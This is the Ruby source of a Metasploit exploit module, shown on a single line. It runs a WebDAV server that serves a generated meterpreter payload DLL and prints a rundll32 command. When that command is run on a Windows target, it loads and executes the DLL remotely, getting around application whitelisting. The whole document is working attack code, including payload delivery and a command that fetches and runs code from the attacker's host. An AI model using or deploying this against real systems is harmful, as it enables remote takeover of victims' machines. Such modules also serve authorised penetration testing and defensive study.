## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Serve DLL via webdav server', 'Description' => %q( This module simplifies the rundll32.exe Application Whitelisting Bypass technique. The module creates a webdav server that hosts a dll file. When the user types the provided rundll32 command on a system, rundll32 will load the dll remotly and execute the provided export function. The export function needs to be valid, but the default meterpreter function can be anything. The process does write the dll to C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV but does not load the dll from that location. This file should be removed after execution. The extension can be anything you'd like, but you don't have to use one. Two files will be written to disk. One named the requested name and one with a dll extension attached. ), 'License' => MSF_LICENSE, 'Author' => [ 'Ryan Hanson ', # research discovery (@ryhanson) 'James Cook ' # MSF Module (@_jbcook) ], 'Targets' => [['Automatic', {}]], 'Platform' => %w[win], 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 1999')) register_options( [ OptString.new('URIPATH', [true, 'The URI to use (do not change).', '/']) ], self.class ) end def primer if datastore['URIPATH'] != '/' fail_with(Failure::BadConfig, 'Using WebDAV requires URIPATH=/') end print_status('Run the following command on the target machine:') webdav = '' if datastore['SSL'] if datastore['SRVPORT'] != 443 fail_with(Failure::BadConfig, 'SRVPORT must be 443') end webdav = "#{datastore['SRVHOST']}@ssl" else webdav = "#{datastore['SRVHOST']}@#{datastore['SRVPORT']}" end print_line("rundll32.exe \\\\#{webdav}\\ANYTHING,Init") end def on_request_uri(cli, _request) if _request.uri.downcase =~ /\.config/ process_ignore(cli, _request) return elsif _request.uri.downcase =~ /\.manifest/ process_ignore(cli, _request) return end case _request.method when 'OPTIONS' process_options(cli, _request) when 'PROPFIND' process_propfind(cli, _request) when 'GET' process_get(cli, _request) else process_ignore(cli, _request) end end # Cli comes from Rex, not from the HttpServer mixin, so we need to make our own send_not_found def send_not_found(cli) resp_404 = create_response(404, 'Not Found') resp_404.body = %Q{\ 404 Not Found

Not Found

The requested URL was not found on this server.

Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}

} cli.send_response(resp_404) end def process_ignore(cli, _request) vprint_status("#{_request.method} => 404 (#{_request.uri})") send_not_found(cli) end def process_options(cli, request) vprint_status("OPTIONS #{request.uri}") headers = { 'Allow' => 'GET,HEAD,PUT,DELETE,MKCOL,COPY,MOVE,PROPFIND,OPTIONS', 'DAV' => '1', 'Connection' => 'keep-alive' } resp = create_response(207, 'Multi-Status') headers.each_pair { |k, v| resp[k] = v } resp.body = '' cli.send_response(resp) end def process_propfind(cli, request) vprint_status("PROPFIND #{request.uri}") changed = Time.now.strftime('%a, %d %b %Y %H:%M:%S GMT') created = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ') filename = request.uri.delete('/') p = regenerate_payload(cli) data = generate_payload_dll(code: p.encoded) prop_resp = prop_response(filename, created, data.length, changed) vprint_status("Resp: #{prop_resp}") resp = create_response(207, 'Multi-Status') headers = { 'Transfer-Encoding' => 'chuncked', 'Connection' => 'keep-alive' } headers.each_pair { |k, v| resp[k] = v } resp.body = prop_resp cli.send_response(resp) end def process_get(cli, request) print_status("GET #{request.uri}") resp = create_response(200, 'OK') headers = { 'Content-Type' => 'aplication/octet-stream', 'Accept-Range' => 'bytes' } headers.each_pair { |k, v| resp[k] = v } p = regenerate_payload(cli) data = generate_payload_dll(code: p.encoded) resp.body = data cli.send_response(resp) end def prop_response(filename, created, length, changed) %( /#{filename} #{created} #{filename} #{length} #{changed} HTTP/1.1 200 OK ) end end